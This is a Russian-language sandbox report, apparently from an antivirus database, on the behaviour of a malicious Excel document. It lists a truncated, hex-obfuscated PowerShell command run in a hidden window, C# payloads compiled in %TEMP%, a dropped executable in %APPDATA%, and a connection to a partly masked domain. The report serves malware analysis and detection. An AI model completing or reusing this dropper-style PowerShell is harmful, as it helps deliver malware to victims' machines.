Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function a8b77cb {param($e196ce)$x32ac='u58791a';$d4bf8b='';for ($i=0; $i -lt $e196ce.length;$i+=2){$y1e4af3=[convert]::ToByte($e196ce.Substring($i,2),16);$d4bf8b+=[char](...
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\chprvi8b.0.cs
- %TEMP%\xbygkjlh.dll
- %TEMP%\z2-vjitj.0.cs
- %TEMP%\z2-vjitj.cmdline
- %TEMP%\z2-vjitj.out
- %TEMP%\cscc2b1.tmp
- %TEMP%\resc2d1.tmp
- %TEMP%\z2-vjitj.dll
- %TEMP%\vyhunsbl.0.cs
- %TEMP%\vyhunsbl.cmdline
- %TEMP%\vyhunsbl.out
- %TEMP%\cscfbf1.tmp
- %TEMP%\resfc02.tmp
- %TEMP%\csc97c8.tmp
- %TEMP%\res97e9.tmp
- %TEMP%\vyhunsbl.dll
- %TEMP%\ssn8i2yb.out
- %TEMP%\csc236e.tmp
- %TEMP%\res238f.tmp
- %TEMP%\ssn8i2yb.dll
- %TEMP%\4nswc8j5.0.cs
- %TEMP%\4nswc8j5.cmdline
- %TEMP%\4nswc8j5.out
- %TEMP%\csc3fb1.tmp
- %TEMP%\res3fc1.tmp
- %TEMP%\4nswc8j5.dll
- %WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\metadata\f0accf77cdcbff39f6191887f6d2d357
- %WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\content\f0accf77cdcbff39f6191887f6d2d357
- %TEMP%\ssn8i2yb.0.cs
- %TEMP%\ssn8i2yb.cmdline
- %TEMP%\xbygkjlh.out
- %TEMP%\xbygkjlh.cmdline
- %TEMP%\xbygkjlh.0.cs
- %TEMP%\chprvi8b.out
- %TEMP%\5xv-qghs.0.cs
- %TEMP%\5xv-qghs.cmdline
- %TEMP%\5xv-qghs.out
- %TEMP%\csc3f48.tmp
- %TEMP%\csc3ff4.tmp
- %TEMP%\res3f59.tmp
- %TEMP%\5xv-qghs.dll
- %TEMP%\res4024.tmp
- %TEMP%\cjofptq_.0.cs
- %TEMP%\cjofptq_.cmdline
- %TEMP%\cjofptq_.out
- %TEMP%\chprvi8b.dll
- %TEMP%\chprvi8b.cmdline
- %TEMP%\csc4776.tmp
- %TEMP%\cjofptq_.dll
- %TEMP%\_uh5gri3.0.cs
- %TEMP%\_uh5gri3.cmdline
- %TEMP%\_uh5gri3.out
- %TEMP%\csc68f8.tmp
- %TEMP%\res6909.tmp
- %TEMP%\_uh5gri3.dll
- %TEMP%\o1avsyzi.0.cs
- %TEMP%\o1avsyzi.cmdline
- %TEMP%\o1avsyzi.out
- %TEMP%\csc7a3e.tmp
- %TEMP%\res7a5e.tmp
- %TEMP%\o1avsyzi.dll
- %TEMP%\res4786.tmp
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{6910cb18-2550-4372-94ea-b6cc1e3f95cb}.tmp
- %APPDATA%\gfb559f.exe
Удаляет следующие файлы
- %TEMP%\res3f59.tmp
- %TEMP%\resfc02.tmp
- %TEMP%\z2-vjitj.pdb
- %TEMP%\z2-vjitj.0.cs
- %TEMP%\z2-vjitj.dll
- %TEMP%\z2-vjitj.cmdline
- %TEMP%\vyhunsbl.dll
- %TEMP%\z2-vjitj.out
- %TEMP%\resc2d1.tmp
- %TEMP%\xbygkjlh.out
- %TEMP%\xbygkjlh.dll
- %TEMP%\xbygkjlh.0.cs
- %TEMP%\xbygkjlh.cmdline
- %TEMP%\xbygkjlh.pdb
- %TEMP%\cscc2b1.tmp
- %TEMP%\_uh5gri3.dll
- %TEMP%\vyhunsbl.out
- %TEMP%\4nswc8j5.0.cs
- %TEMP%\4nswc8j5.cmdline
- %TEMP%\4nswc8j5.out
- %TEMP%\csc3fb1.tmp
- %TEMP%\res3fc1.tmp
- %TEMP%\ssn8i2yb.out
- %TEMP%\csc97c8.tmp
- %TEMP%\cscfbf1.tmp
- %TEMP%\ssn8i2yb.cmdline
- %TEMP%\ssn8i2yb.pdb
- %TEMP%\csc236e.tmp
- %TEMP%\res238f.tmp
- %TEMP%\vyhunsbl.cmdline
- %TEMP%\vyhunsbl.0.cs
- %TEMP%\ssn8i2yb.dll
- %TEMP%\vyhunsbl.pdb
- %TEMP%\res97e9.tmp
- %TEMP%\o1avsyzi.dll
- %TEMP%\o1avsyzi.0.cs
- %TEMP%\res4024.tmp
- %TEMP%\csc3f48.tmp
- %TEMP%\5xv-qghs.0.cs
- %TEMP%\5xv-qghs.pdb
- %TEMP%\5xv-qghs.out
- %TEMP%\5xv-qghs.dll
- %TEMP%\4nswc8j5.dll
- %TEMP%\5xv-qghs.cmdline
- %TEMP%\csc4776.tmp
- %TEMP%\chprvi8b.cmdline
- %TEMP%\chprvi8b.dll
- %TEMP%\chprvi8b.pdb
- %TEMP%\chprvi8b.out
- %TEMP%\chprvi8b.0.cs
- %TEMP%\csc3ff4.tmp
- %TEMP%\ssn8i2yb.0.cs
- %TEMP%\cjofptq_.pdb
- %TEMP%\cjofptq_.dll
- %TEMP%\cjofptq_.cmdline
- %TEMP%\o1avsyzi.cmdline
- %TEMP%\o1avsyzi.pdb
- %TEMP%\o1avsyzi.out
- %TEMP%\csc7a3e.tmp
- %TEMP%\res7a5e.tmp
- %TEMP%\cjofptq_.out
- %TEMP%\_uh5gri3.0.cs
- %TEMP%\res4786.tmp
- %TEMP%\_uh5gri3.cmdline
- %TEMP%\_uh5gri3.out
- %TEMP%\csc68f8.tmp
- %TEMP%\res6909.tmp
- %TEMP%\cjofptq_.0.cs
- %TEMP%\_uh5gri3.pdb
- %TEMP%\4nswc8j5.pdb
Сетевая активность
TCP
- 'ga#####hilakasiri.info':443
UDP
- DNS ASK ga#####hilakasiri.info
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function a8b77cb {param($e196ce)$x32ac='u58791a';$d4bf8b='';for ($i=0; $i -lt $e196ce.length;$i+=2){$y1e4af3=[convert]::ToByte($e196ce.Substring($i,2),16);$d4bf8b+=[char](...' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES238F.tmp" "%TEMP%\CSC236E.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ssn8i2yb.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFC02.tmp" "%TEMP%\CSCFBF1.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\vyhunsbl.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC2D1.tmp" "%TEMP%\CSCC2B1.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\z2-vjitj.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES97E9.tmp" "%TEMP%\CSC97C8.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xbygkjlh.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\4nswc8j5.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7A5E.tmp" "%TEMP%\CSC7A3E.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6909.tmp" "%TEMP%\CSC68F8.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\_uh5gri3.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4786.tmp" "%TEMP%\CSC4776.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\cjofptq_.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4024.tmp" "%TEMP%\CSC3FF4.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3F59.tmp" "%TEMP%\CSC3F48.tmp"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\5xv-qghs.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\chprvi8b.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\o1avsyzi.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3FC1.tmp" "%TEMP%\CSC3FB1.tmp"' (со скрытым окном)
Запускает на исполнение
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\4nswc8j5.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES238F.tmp" "%TEMP%\CSC236E.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ssn8i2yb.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFC02.tmp" "%TEMP%\CSCFBF1.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\vyhunsbl.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC2D1.tmp" "%TEMP%\CSCC2B1.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\z2-vjitj.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES97E9.tmp" "%TEMP%\CSC97C8.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xbygkjlh.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES7A5E.tmp" "%TEMP%\CSC7A3E.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\o1avsyzi.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6909.tmp" "%TEMP%\CSC68F8.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\_uh5gri3.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4786.tmp" "%TEMP%\CSC4776.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\cjofptq_.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4024.tmp" "%TEMP%\CSC3FF4.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3F59.tmp" "%TEMP%\CSC3F48.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\5xv-qghs.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\chprvi8b.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3FC1.tmp" "%TEMP%\CSC3FB1.tmp"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
